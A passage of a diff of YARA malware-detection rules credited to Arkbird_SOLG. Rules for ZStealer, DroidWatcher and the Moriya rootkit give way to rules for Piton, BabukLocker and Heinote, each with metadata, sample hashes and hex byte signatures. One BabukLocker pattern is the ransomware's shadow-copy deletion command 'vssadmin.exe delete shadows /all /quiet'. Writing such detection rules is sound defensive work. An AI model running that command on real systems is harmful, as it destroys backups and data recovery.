6a 00 6a 00 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8b 85 74 fd ff ff 8b 78 04 85 ff 74 05 83 ef 04 8b 3f 8b 85 50 fd ff ff 8b 10 ff 12 52 50 8b c7 99 03 85 48 fd ff ff 13 95 4c fd ff ff 3b 54 24 04 75 03 3b 04 24 5a 58 0f 85 dc 06 00 00 ff b5 4c fd ff ff ff b5 48 fd ff ff 8b 85 50 fd ff ff e8 e6 cc fe ff 8b 85 74 fd ff ff 8b 40 28 85 c0 74 09 83 f8 0a 0f 85 00 01 00 00 8b 85 74 fd ff ff 83 c0 1c e8 fe a2 fe ff 8b 85 74 fd ff ff 83 c0 20 e8 f0 a2 fe ff c7 85 44 fd ff ff 01 00 00 00 b8 00 01 00 00 e8 78 44 ff ff 8b d0 8d 85 10 fd ff ff e8 b7 a4 fe ff 8b 95 10 fd ff ff 8b 85 74 fd ff ff 83 c0 20 e8 63 a5 fe ff 83 bd 44 fd ff ff 10 7f 2b b8 00 01 00 00 e8 44 44 ff ff 8b d0 8d 85 0c fd ff ff e8 83 a4 fe ff 8b 95 0c fd ff ff 8b 85 74 fd ff ff 83 c0 1c e8 2f a5 fe ff ff 85 44 fd ff ff 83 bd 44 fd ff ff 21 75 92 8b 85 74 fd ff ff 83 c0 24 50 8b 85 74 fd ff ff 8b 48 1c 8b 85 74 fd ff ff 8b 50 20 8d 85 08 fd ff ff e8 45 a5 fe ff 8b 85 08 fd ff ff 8b 95 74 fd ff ff 8d 4a 0c 8b 95 74 fd ff ff 83 c2 14 e8 c8 8f ff ff 8d 95 04 fd ff ff 8b 85 74 fd ff ff 8b 40 24 e8 0c 5c ff ff 8b 95 04 fd ff ff 8b 85 74 fd ff ff 83 c0 24 e8 60 a2 fe ff 8b 85 74 fd ff ff 83 78 28 0a 75 0d 8b 85 74 fd ff ff 33 d2 89 50 28 eb 09 8b 85 74 fd ff ff ff 40 28 8b c3 99 52 50 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 54 b2 fe ff 89 85 38 fd ff ff 89 95 3c fd ff ff 8b c3 99 52 50 8b 85 38 fd ff ff 8b 95 3c fd ff ff e8 0e b2 fe ff 52 50 8b c6 99 3b 54 24 04 75 09 3b 04 24 5a 58 73 18 eb 04 5a 58 7d 12 8b c6 99 f7 fb 99 89 85 38 fd ff ff 89 95 3c fd ff ff 83 bd 3c fd ff ff 00 75 07 83 bd 38 fd ff ff 00 74 31 ff b5 3c fd ff ff ff b5 38 fd ff ff 8b 85 48 fd ff ff 8b 95 4c fd ff ff e8 d9 b1 fe ff 89 85 30 fd ff ff 89 95 34 fd ff ff 89 9d 2c fd ff ff eb 38 c7 85 38 fd ff ff 01 00 00 00 c7 85 3c fd ff ff 00 00 00 00 8b 85 48 fd ff ff 89 85 30 fd ff ff 8b 85 4c fd ff ff 89 85 34 fd ff ff 8b 85 48 fd ff ff 89 85 2c fd ff ff 8d 45 f0 e8 05 a1 fe ff b2 01 a1 98 6f 40 00 e8 61 94 fe ff 89 85 1c fd ff ff 8b 9d 38 fd ff ff 85 db 0f 8e 9f 00 00 00 c7 85 44 fd ff ff 01 00 00 00 ff b5 34 fd ff ff ff b5 30 fd ff ff 8b 85 44 fd ff ff 48 99 e8 1e b1 fe ff 89 85 20 fd ff ff 89 95 24 fd ff ff 8d 95 20 fd ff ff b9 08 00 00 00 8b 85 1c fd ff ff 8b 30 ff 56 10 ff b5 24 fd ff ff ff b5 20 fd ff ff 33 d2 8b 85 50 fd ff ff 8b 08 ff 51 18 8d 45 f4 8b 95 2c fd ff ff e8 19 a7 fe ff 8d 45 f4 e8 3d a5 fe ff 8b d0 8b 8d 2c fd ff ff 8b 85 50 fd ff ff e8 e6 ca fe ff 8d 45 f0 8b 55 f4 e8 fb a2 fe ff ff 85 44 fd ff ff 4b 0f 85 6b ff ff ff 6a 00 6a 00 33 d2 8b 85 1c fd ff ff 8b 08 ff 51 18 8d 45 ec e8 2d a0 fe ff 8b 85 1c fd ff ff 8b 10 ff 12 89 85 18 fd ff ff 8d 45 ec 8b 95 18 fd ff ff e8 af a6 fe ff 8d 45 ec e8 d3 a4 fe ff 8b d0 8b 8d 18 fd ff ff 8b 85 1c fd ff ff 8b 18 ff 53 } + $s5 = ": :(:,:0:4:8:<:@:D:H:\\:|:" fullword ascii + $s6 = " remove '.' from {.$DEFINE ComplexBraces}" fullword ascii condition: - uint16( 0 ) == 0x5A4D and filesize > 25KB and 5 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and 4 of them } -rule ARKBIRD_SOLG_MAL_Zstealer_Nov_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Piton_Nov_2021_1 : FILE { meta: - description = "Detect ZStealer stealer used by Void Balaur group" + description = "Detect Piton variant (rebuild from the Babuk leaks)" author = "Arkbird_SOLG" - id = "0282884b-569a-5e46-a6ad-d2776ff71ddb" - date = "2021-11-11" - modified = "2021-11-12" - reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/MAL_ZStealer_Nov_2021_1.yara#L1-L19" + id = "433d0692-553b-5efe-84e4-134e99342fe5" + date = "2021-11-03" + modified = "2021-11-04" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-04/RAN_Piton_Nov_2021_1.yara#L1-L18" license_url = "N/A" - logic_hash = "c3bec4fb8338ad71577e63f81c22b5d250083f2475f60610de8dccd4979035d3" + logic_hash = "cd8287b3be0f8f9338cf6ba8eb24dd9a6f91a54c984a635e1103f7e6028cbf3c" score = 75 quality = 75 tags = "FILE" - hash1 = "af89d85a3b579ac754850bd6e52e7516c2e63141107001463486cd01bc175052" - hash2 = "5a2c9060f6cc1e6e0fd09b2b194631d2c7e7f024d9e2d3a9be64570e263f565f" + hash1 = "71936bc3ee40c7ea678889d2ad5fa7eb39401752cd58988ce462f9d4048578ac" + hash2 = "77c7839c7e8d4aaf52e33a2f29db8459381b5cc3b2700072305a8bae5e0762a9" + hash3 = "ae6020a06d2a95cbe91b439f4433e87d198547dec629ab0900ccfe17e729cff1" tlp = "white" - adversary = "Void Balaur" + adversary = "RAAS" strings: - $s1 = { 53 33 c0 55 68 71 d3 46 00 64 ff 30 64 89 20 a1 80 7f 7b 00 8b 10 ff 52 44 a1 84 7f 7b 00 8b 10 ff 52 44 8d 45 fc 50 68 80 d3 46 00 68 02 00 00 80 e8 e3 a3 f9 ff 85 c0 0f 85 94 01 00 00 8d 45 f8 ba 00 10 00 00 e8 86 83 f9 ff c7 45 f0 00 10 00 00 33 db e9 49 01 00 00 8d 45 f4 50 6a 00 8d 45 f8 e8 36 82 f9 ff 8d 55 e8 e8 e6 cd f9 ff 8b 4d e8 8d 45 ec ba bc d3 46 00 e8 12 80 f9 ff 8b 55 ec b9 fc d3 46 00 b8 02 00 00 80 e8 d4 d8 ff ff 84 c0 0f 84 01 01 00 00 8d 55 e4 8b 45 f4 e8 c5 c0 f9 ff 8b 55 e4 8d 45 f4 e8 6e 7d f9 ff 8b 55 f4 b8 14 d4 46 00 e8 cd 82 f9 ff 85 c0 7e 32 8d 45 e0 50 8b 55 f4 b8 14 d4 46 00 e8 b8 82 f9 ff 8b c8 83 c1 03 ba 01 00 00 00 8b 45 f4 e8 c2 81 f9 ff 8b 55 e0 a1 80 7f 7b 00 8b 08 ff 51 38 eb 0d 8b 55 f4 a1 80 7f 7b 00 8b 08 ff 51 38 8d 45 f4 50 6a 00 8d 45 f8 e8 90 81 f9 ff 8d 55 d8 e8 40 cd f9 ff 8b 4d d8 8d 45 dc ba bc d3 46 00 e8 6c 7f f9 ff 8b 55 dc b9 24 d4 46 00 b8 02 00 00 80 e8 2e d8 ff ff 84 c0 74 42 8d 45 f8 } - $s2 = { 8b d9 88 55 fb 89 45 fc 33 c0 55 68 b3 2e 46 00 64 ff 30 64 89 20 33 d2 8b 45 fc e8 a0 11 fa ff b2 01 a1 2c 74 41 00 e8 94 11 fa ff 8b 55 fc 89 42 0c 8b 45 fc c6 40 08 00 33 c0 89 45 f4 33 d2 55 68 96 2e 46 00 64 ff 32 64 89 22 8d 45 f0 89 5d ec 8b 55 ec e8 9e 21 fa ff 8b 45 fc 83 c0 04 50 8b 45 f0 e8 b7 25 fa ff 50 e8 2d f5 ff ff 83 c4 08 85 c0 74 66 8b 45 fc 8b 40 04 85 c0 74 39 50 e8 26 f5 ff ff 59 89 45 f4 89 5d dc c6 45 e0 0b 8b 45 f4 89 45 e4 c6 45 e8 06 8d 45 dc 50 6a 01 b9 e4 2e 46 00 b2 01 a1 58 2c 46 00 e8 be a1 fa ff e8 9d 19 fa ff eb 23 89 5d d4 c6 45 d8 0b 8d 45 d4 50 6a 00 b9 10 2f 46 00 b2 01 a1 58 2c 46 00 e8 99 a1 fa ff e8 78 19 fa ff 33 c0 5a 59 59 64 89 10 68 9d 2e 46 00 83 7d f4 00 74 0a 8b 45 f4 50 e8 c4 f4 ff ff } - $s3 = { 68 1d c7 45 00 64 ff 30 64 89 20 8b c3 e8 d8 89 fa ff 8d 45 fc ba 00 01 00 00 e8 17 90 fa ff c7 45 f8 ff 00 00 00 8d 45 f8 50 8d 45 fc e8 d0 8e fa ff 50 e8 f6 af fa ff c7 45 f4 ff 00 00 00 c7 45 f0 ff 00 00 00 8d 45 ec 50 8d 45 f0 50 8d 85 ec fd ff ff 50 8d 45 f4 50 8d 85 ec fe ff ff 50 8d 45 fc e8 9a 8e fa ff 50 6a 00 e8 d6 af fa ff 85 c0 0f 84 6d 01 00 00 8d 85 ec fe ff ff 50 e8 ba af fa ff 85 c0 0f 84 59 01 00 00 8d 85 ec fe ff ff 50 e8 7e af fa ff 8b f0 8d 85 ec fe ff ff 50 e8 80 af fa ff 0f b6 38 8b c3 ba 34 c7 45 00 e8 89 89 fa ff 80 3e 00 75 } - $s4 = { a1 9c c2 49 00 8b 00 e8 e3 82 01 00 8b 93 88 01 00 00 8b 08 ff 51 54 8b f8 85 ff 7c 15 a1 9c c2 49 00 8b 00 e8 c6 82 01 00 8b d7 8b 08 ff 51 18 8b f0 6a 01 56 e8 e1 f2 fc ff 8b c3 e8 be 17 00 00 8a 93 84 01 00 00 e8 2f 61 00 00 33 c0 5a 59 59 } - $s5 = { 45 72 72 6f 72 20 5b 25 64 5d 3a 20 25 73 2e 0d 22 25 73 22 3a 20 25 73 00 00 ff ff ff ff 0a 00 00 00 4e 6f 20 6d 65 73 73 61 67 65 } + $s1 = { 68 38 3c 40 00 6a 00 68 01 00 1f 00 ff 15 c4 50 41 00 85 c0 75 11 68 58 3c 40 00 6a 00 6a 00 ff 15 98 50 41 00 eb 0a e9 b0 00 00 00 e9 ab 00 00 00 c7 45 a8 00 00 00 00 68 78 3c 40 00 8b 55 c8 52 8b 45 e8 50 e8 86 9b ff ff 83 c4 0c 0f b6 c8 83 f9 01 75 0c 8b 55 a8 52 e8 02 f9 ff ff 83 c4 04 e8 ea 94 ff ff ff 15 04 51 41 00 89 45 c0 83 7d c0 00 74 3f b8 41 00 00 00 66 89 45 f0 eb 0c 66 8b 4d f0 66 83 c1 01 66 89 4d f0 0f b7 55 f0 83 fa 5a 7f 1f 8b 45 c0 83 e0 01 74 } + $s2 = { 68 80 16 40 00 ff 15 38 50 41 00 89 45 f0 68 90 16 40 00 8b 45 f0 50 ff 15 34 50 41 00 89 45 fc 83 7d fc 00 74 07 8d 4d f8 51 ff 55 fc 6a 00 6a 00 68 b0 16 40 00 68 08 17 40 00 68 18 17 40 00 6a 00 ff 15 4c 51 41 00 e8 9d 03 00 00 85 c0 74 2d 68 24 17 40 00 ff 15 38 50 41 00 89 45 ec 68 34 17 40 00 8b 55 ec 52 ff 15 34 50 41 00 89 45 f4 83 7d } + $s3 = { 81 ec f4 02 00 00 c7 85 7c ff ff ff 90 15 40 00 c7 45 80 98 15 40 00 c7 45 84 a0 15 40 00 c7 45 88 a8 15 40 00 c7 45 8c b0 15 40 00 c7 45 90 b8 15 40 00 c7 45 94 c0 15 40 00 c7 45 98 c8 15 40 00 c7 45 9c d0 15 40 00 c7 45 a0 d8 15 40 00 c7 45 a4 e0 15 40 00 c7 45 a8 e8 15 40 00 c7 45 ac f0 15 40 00 c7 45 b0 f8 15 40 00 c7 45 b4 00 16 40 00 c7 45 b8 08 16 40 00 c7 45 bc 10 16 40 00 c7 45 c0 18 16 40 00 c7 45 c4 20 16 40 00 c7 45 c8 28 16 40 00 c7 45 cc 30 16 40 00 c7 45 d0 38 16 40 00 c7 45 d4 40 16 40 00 c7 45 d8 48 16 40 00 c7 45 dc 50 16 40 00 c7 45 e0 58 16 40 00 c7 45 fc 00 00 00 00 c7 45 e4 78 00 00 00 c7 45 e8 00 00 00 00 c7 45 f4 00 00 00 00 eb 09 8b 45 f4 83 c0 01 89 45 f4 83 7d f4 1a 7d 35 8b 4d f4 8b 94 8d 7c ff ff ff 52 ff 15 f8 50 41 00 83 f8 01 75 1d 8b 45 fc 8b 4d f4 8b 94 8d 7c ff ff ff 89 94 85 14 ff ff ff 8b 45 fc 83 c0 01 89 45 fc eb bc b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff 68 00 00 01 00 e8 00 e8 00 00 83 c4 04 89 45 f8 83 7d f8 00 0f 84 d4 00 00 00 68 00 00 01 00 e8 e6 e7 00 00 83 c4 04 89 45 ec 83 7d ec 00 0f 84 ae 00 00 00 68 00 80 00 00 8b 4d f8 51 ff 15 08 51 41 00 89 45 f0 83 7d fc 00 76 63 8d 55 e8 52 8b 45 e4 50 8d 8d 0c fd ff ff 51 8b 55 f8 52 ff 15 f4 50 41 00 85 c0 74 26 8d 85 0c fd ff ff 50 ff 15 40 50 41 00 83 f8 03 75 14 b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff eb 22 8b 4d fc 83 e9 01 89 4d fc 8b 55 f8 52 8b 45 fc 8b 8c 85 14 ff ff ff 51 ff 15 44 50 41 00 eb 02 eb 1b 68 00 80 00 00 8b 55 f8 52 8b 45 f0 50 ff 15 00 51 41 00 85 c0 0f 85 7a ff ff ff 8b 4d f0 51 ff 15 fc 50 41 00 8b 55 } condition: - uint16( 0 ) == 0x5a4d and filesize > 300KB and all of them + uint16( 0 ) == 0x5a4d and filesize > 30KB and all of them } -rule ARKBIRD_SOLG_APK_Droidwatcher_Nov_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Babuklockers_Jan_2021_1 : FILE { meta: - description = "Detect modified DroidWatcher stealer used by Void Balaur group" + description = "Detect the BabukLocker ransomware" author = "Arkbird_SOLG" - id = "04e02521-d89a-5f72-8b6f-0350f6defdd0" - date = "2021-11-11" - modified = "2021-11-12" - reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/APK_DroidWatcher_Nov_2021_1.yara#L1-L19" + id = "a3bad41d-59fb-564f-a352-ca38af582c08" + date = "2020-01-03" + modified = "2021-01-03" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-02/BabukLocker/Ran_BabukLockers_Jan_2021_1.yar#L1-L23" license_url = "N/A" - logic_hash = "c16bcdd5d9cd6a3cbb527893e13ac967211d1686edd9f7ae03e37feada725a1b" + logic_hash = "8939e408948dd7b17acdac5c6b5f50db24ec63f19937b8663a15f52b678d0065" score = 50 quality = 75 tags = "FILE" - hash1 = "902c5f46ac101b6f30032d4c5c86ecec115add3605fb0d66057130b6e11c57e6" - tlp = "white" + hash1 = "8203c2f00ecd3ae960cb3247a7d7bfb35e55c38939607c85dbdb5c92f0495fa9" level = "Experimental" - adversary = "Void Balaur" strings: - $s1 = { 38 50 F4 59 CC FF F3 37 65 28 4F 35 1A D2 83 C9 6C E0 20 27 38 C5 39 2E 72 95 5B 3C E0 29 D1 9E C7 0C A4 21 1B 55 09 A5 0B 83 99 C8 7C D6 F2 0F 47 B9 CE 43 82 5E C4 0C } - $s2 = { 3C E2 39 81 D4 EA 82 1F F8 83 42 54 A0 2E 6D E8 C5 44 E6 B0 92 13 5C E6 21 EF 89 9D 26 28 90 8C 3C 94 A3 36 AD E9 CD 48 26 B2 92 1D 1C E4 34 57 B9 C7 2B A2 7D 1E 14 A8 4A 4D 5A D3 8E 2E F4 A4 1F 83 19 C1 58 A6 32 9B 05 2C 63 03 DB B9 42 } - $s3 = { F0 96 6F 33 59 1B BA 32 82 8D 5C 22 28 B3 1E 4C 65 BA 31 99 4D 1C E0 2E 89 7E F3 1E 94 A7 13 13 08 E7 22 31 7E D7 EB 28 42 53 46 B0 81 73 7C 22 E3 1F 62 4E 17 66 B2 8F 47 A4 CA A2 D6 68 C9 44 36 72 9D 78 7F 7A 16 B5 18 CA 5A 4E F2 92 74 59 } - $s4 = { 3D 57 89 56 4D 9E 51 9C CE 2C 20 92 B8 D5 C5 81 7A 8C 65 03 17 F9 C0 77 35 5C 4F 0B 26 B0 99 0B C4 A9 69 5D A9 44 0F 66 F2 2F F7 48 5C 4B 7E 50 9D 41 2C E0 34 AF 89 5F 5B 9E 50 92 C6 F4 65 3C 0B D8 CA 1E CE F3 80 CF EA B8 9E 94 A4 E5 37 72 51 88 0A 34 A3 2F 03 19 CE 41 22 B8 C9 5D 1E F2 82 77 44 AF AB } - $s5 = { FA D6 A4 0F EB 79 42 D2 76 F6 54 BA B2 9A 27 FC D0 5E 9E 30 8D 2B 24 E9 A0 AE A8 41 33 06 32 84 51 8C 63 12 33 98 CF 72 36 B0 8B 83 1C E3 12 D7 B8 CD 63 5E 13 B3 A3 FE 45 06 8A D0 80 3E 0C 66 32 33 59 C6 66 0E 10 C1 39 AE F3 84 D7 C4 EF E4 EC C8 37 64 22 17 F9 28 42 45 3A 31 9E A5 EC E1 14 37 79 C0 DB FF FD B6 B3 E7 F3 3B 45 A9 45 28 E3 D9 } + $seq1 = { 55 8b ec 83 ec 14 a1 b0 81 40 00 33 c5 89 45 fc c7 45 f8 ff ff ff ff c7 45 f4 00 40 00 00 8d 45 f0 50 8b 4d 08 51 6a 13 6a 00 6a 02 e8 85 2b 00 00 85 c0 0f 85 a3 00 00 00 8b 55 f4 52 e8 ae 06 00 00 83 c4 04 89 45 08 83 7d 08 00 0f 84 81 00 00 00 8d 45 f4 50 8b 4d 08 51 8d 55 f8 52 8b 45 f0 50 e8 55 2b 00 00 85 c0 75 5c c7 45 ec 00 00 00 00 eb 09 8b 4d ec 83 c1 01 89 4d ec 8b 55 ec 3b 55 f8 73 40 8b 45 ec c1 e0 05 8b 4d 08 8b 54 01 0c 83 e2 02 74 14 8b 45 ec c1 e0 05 03 45 } + $seq2 = { 68 68 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0c c7 85 b0 fd ff ff 01 00 00 00 eb 58 68 74 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0c c7 85 b0 fd ff ff 00 00 00 00 eb 2b 68 80 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0a c7 85 b0 fd ff ff ff ff ff ff e9 55 ff ff ff 6a 00 6a 00 ff 15 a8 90 40 00 e8 aa 04 00 00 e8 05 } + $seq3 = { 83 c4 0c 68 f4 00 00 00 8d 85 f4 fd ff ff 50 68 88 22 40 00 ff 15 6c 90 40 00 68 98 22 40 00 8d 8d f4 fd ff ff 51 ff 15 c4 90 40 00 c7 85 ec fd ff ff 00 00 00 00 6a 00 68 80 00 00 00 6a 01 6a 00 6a 01 68 00 00 00 40 8d 95 f4 fd ff ff 52 ff 15 70 90 40 00 89 85 98 fd ff ff 83 bd 98 fd ff ff ff 0f 84 2e 03 00 00 6a 00 8d 85 ec fd ff ff 50 68 90 00 00 00 68 78 82 40 00 8b 8d 98 fd ff ff 51 ff 15 90 90 } + $s1 = "\\ecdh_pub_k.bin" fullword wide + $s2 = "ntuser.dat.log" fullword wide + $s3 = "cmd.exe" fullword ascii + $s4 = "/c vssadmin.exe delete shadows /all /quiet" fullword wide + $s5 = { 5c 00 5c 00 3f 00 5c 00 00 00 00 00 3a 00 00 00 98 2f } condition: - uint32be( 0 ) == 0x504B0304 and filesize > 300KB and 4 of them + uint16( 0 ) == 0x5a4d and filesize > 15KB and 2 of ( $seq* ) and 3 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Moriya_May_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Heinote_June_2020_1 : FILE { meta: - description = "Detect Moriya rootkit used in the TunnelSnake operation" + description = "Detect Hienote malware" author = "Arkbird_SOLG" - id = "6a78ddc0-b39f-5aec-9c54-980854173abf" - date = "2020-05-07" - modified = "2021-05-26" - reference = "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-26/Moriya/MAL_Moriya_May_2021_1.yara#L1-L27" + id = "5c0e604a-83d4-5c6f-83fa-0df878da80d8" + date = "2020-06-26" + modified = "2023-11-22" + reference = "https://twitter.com/JAMESWT_MHT/status/1276471822217891840" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-26/Heinote_June_2020-1.yar#L1-L29" license_url = "N/A" - logic_hash = "f73049f261428c8921a2c8a86fb5d242719e5dc9f30a5c58e86be1a79d84a42d" + logic_hash = "679f1113c9c770910d18da395b13aaef009ecdde91a0c11f931d0d7e63ed122a" score = 75 - quality = 75 + quality = 61 tags = "FILE" - hash1 = "3eda93de4a1e7a35c040fad914a4885d079ffc3c1362153b74e10ff9121de22b" - hash2 = "d620f9c32adc39b0632f22ec6a0503bf906fd1357f4435463fbb4b422634a536" - tlp = "White" - adversary = "Chinese APT Group" + hash1 = "e0a34b9c420ddd930b3f89c13c3f564907dd948e88f668a0fe55ce506220bd73" strings: - $seq1 = { 4c 8d 05 13 10 00 00 ff 15 95 12 00 00 48 8d 15 36 10 00 00 48 8d 4d c0 ff 15 fc 12 00 00 48 8d 15 65 10 00 00 48 8d 4d d0 ff 15 eb 12 00 00 48 8d 05 cc 23 00 00 41 b9 22 00 00 00 48 89 44 24 30 4c 8d 45 c0 c6 44 24 28 00 33 d2 83 64 24 20 00 48 8b cb ff 15 f0 11 00 00 33 d2 41 8b ce 8b f8 85 c0 79 09 4c 8d 05 6e } - $seq2 = { 4c 8d 05 85 10 00 00 ff 15 27 12 00 00 48 8b 05 80 23 00 00 48 8d 55 c0 48 8d 4d d0 83 48 30 04 ff 15 be 11 00 00 e8 c5 01 00 00 33 d2 41 8b ce 85 c0 79 0c } - $seq3 = { 33 db 48 8b 74 24 30 4c 8b 7c 24 38 48 8b 7c 24 40 4c 8b 64 24 48 4d 8b ec 48 8d 4c 24 58 ff 15 b7 1c 00 00 48 8b 46 10 49 89 44 24 f8 48 8b 46 08 49 89 45 f0 41 80 65 bb 0f 8a 46 18 24 0f 41 08 45 bb 4c 8b 4e 08 } - $seq4 = { 48 83 64 24 58 00 ba 44 5c 00 00 c7 44 24 50 79 00 00 00 41 b9 76 00 00 00 c7 44 24 48 78 6f 00 00 41 b8 69 72 00 00 c7 44 24 40 72 70 00 00 c7 44 24 38 69 00 00 00 c7 44 24 30 73 6e 00 00 c7 44 24 28 5c 00 00 00 c7 44 24 20 72 65 00 00 e8 03 f6 ff ff 48 8d 55 80 48 8d 4c 24 70 ff 15 74 17 00 00 48 8d 05 2d 28 00 00 45 33 c9 48 89 44 24 38 45 33 c0 48 8b 05 eb 16 00 00 48 83 64 24 30 00 c6 44 24 28 00 41 8d 51 40 48 8b 08 48 89 4c 24 20 48 8d 4c 24 70 ff 15 d9 16 00 00 85 c0 78 31 48 8b 0d ee 27 00 00 48 8b 81 e0 00 00 00 48 89 05 d8 27 00 00 48 8d 05 19 f7 ff ff 87 81 e0 00 00 00 48 8b 0d cc 27 00 00 ff 15 c6 16 00 00 33 c0 48 8b 4d 00 48 33 cc e8 58 0b 00 00 48 81 c4 10 01 00 } - $seq5 = { 40 55 53 56 57 41 56 48 8d ac 24 40 ff ff ff 48 81 ec c0 01 00 00 48 8b 05 47 1e 00 00 48 33 c4 48 89 85 b8 00 00 00 48 83 64 24 38 00 49 8b d8 48 83 64 24 50 00 48 8b fa 48 8b f1 33 d2 41 b8 c8 00 00 00 48 8d 4c 24 60 4d 8b f1 e8 0b 06 00 00 33 c0 48 8d 4d 30 0f 57 c0 48 89 85 b0 00 00 00 33 d2 0f 11 85 90 00 00 00 44 8d 40 58 0f 11 85 a0 00 00 00 e8 e2 05 00 00 0f 10 07 48 83 64 24 20 00 48 8d 05 72 f8 ff ff 48 89 44 24 40 48 8d 54 24 28 48 8d 05 81 fd ff ff 4d 8b c6 48 8b cb 48 89 44 24 48 f3 0f 7f 44 24 28 e8 13 05 00 00 8b d8 85 c0 0f 88 da 00 00 00 0f 10 07 48 8b 0d f7 1f 00 00 48 8d 05 30 0a 00 00 45 33 c9 48 89 45 40 f3 0f 7f 45 30 45 33 c0 48 8d 55 30 0f 10 06 48 89 45 48 f3 0f 7f 45 70 e8 22 05 00 00 8b d8 85 c0 0f 88 93 00 00 00 0f 10 06 83 65 c0 00 48 8d 05 14 0a 00 00 0f 10 0d 5d 0f 00 00 83 a5 a0 00 00 00 00 48 8d 54 24 60 48 8b 0d 9a 1f 00 00 45 33 c9 f3 0f 7f 45 a0 48 89 44 24 70 45 33 c0 0f 10 07 48 89 44 24 78 48 8d 85 90 00 00 00 48 89 45 d8 48 8d 44 24 20 f3 0f 7f 45 e4 c7 45 e0 03 50 00 00 0f 10 05 ff 0e 00 00 c7 45 d0 01 00 00 00 f3 0f 7f 8d 90 00 00 00 c7 85 a8 00 00 00 00 01 00 00 f3 0f 7f 45 b0 48 89 85 b0 00 00 00 e8 91 04 00 00 8b d8 85 c0 79 08 41 8b 0e e8 35 04 00 00 8b c3 48 8b 8d b8 00 00 00 48 33 cc e8 96 02 00 00 48 81 c4 c0 01 00 00 41 5e 5f 5e 5b } - $s1 = "Moriya : NotifyFunction\n" fullword ascii - $s2 = "Moriya Filter" fullword wide - $s3 = "Moriya : DeviceControlDispatch!\n" fullword ascii - $s4 = "Moriya : Waiting...\n" fullword ascii - $s5 = "Moriya : WriteDispatch!\n" fullword ascii - $s6 = { 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e } - $s7 = { 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 4d 00 6f 00 72 00 69 00 79 00 61 00 53 00 74 00 72 00 65 00 61 00 6d 00 57 00 61 00 74 00 63 00 68 00 6d 00 65 00 6e } - $s8 = "Moriya start\n" fullword ascii + $s1 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 53 45 54 5d 2d 2d 2d 2d } + $s2 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 47 45 54 5d 2d 2d 2d 2d } + $s3 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 47 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 47 65 74 4d 61 69 6e 50 61 67 65 20 6c 70 73 7a 75 72 6c 20 3d 20 25 73 } + $s4 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 4c 4f 43 4b 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 73 74 61 74 75 73 20 3d 20 25 64 2f 25 64 20 67 65 74 20 3d 20 25 73 20 73 65 74 20 3d 20 25 73 } + $s5 = { 44 65 62 75 67 49 6e 66 6f } + $s6 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 2d 2d 2d 2d } + $s7 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 66 61 76 20 72 65 74 20 3d 20 25 64 0a } + $s8 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 46 41 56 5d 5b 53 45 54 5d 5b 53 48 48 65 6c 70 65 72 5d 20 69 20 3d 20 25 64 20 6c 70 73 7a 4d 61 67 69 63 20 3d 20 25 73 0a } + $s9 = { 5b 44 45 42 55 47 49 4e 46 4f 5d 5b 53 45 54 43 4f 4f 4b 49 45 48 41 4f 31 32 33 5d 20 6f 6b 20 6f 6b 0a } + $s10 = { 75 73 65 72 6e 61 6d 65 3d 22 25 73 22 2c 20 72 65 61 6c 6d 3d 22 25 73 22 2c 20 6e 6f 6e 63 65 3d 22 25 73 22 2c 20 75 72 69 3d 22 25 73 22 2c 20 63 6e 6f 6e 63 65 3d 22 25 73 22 2c 20 6e 63 3d 25 30 38 78 2c 20 71 6f 70 3d 25 73 2c 20 72 65 73 70 6f 6e 73 65 3d 22 25 73 22 } + $s11 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" fullword ascii + $s12 = { 25 73 20 63 6f 6f 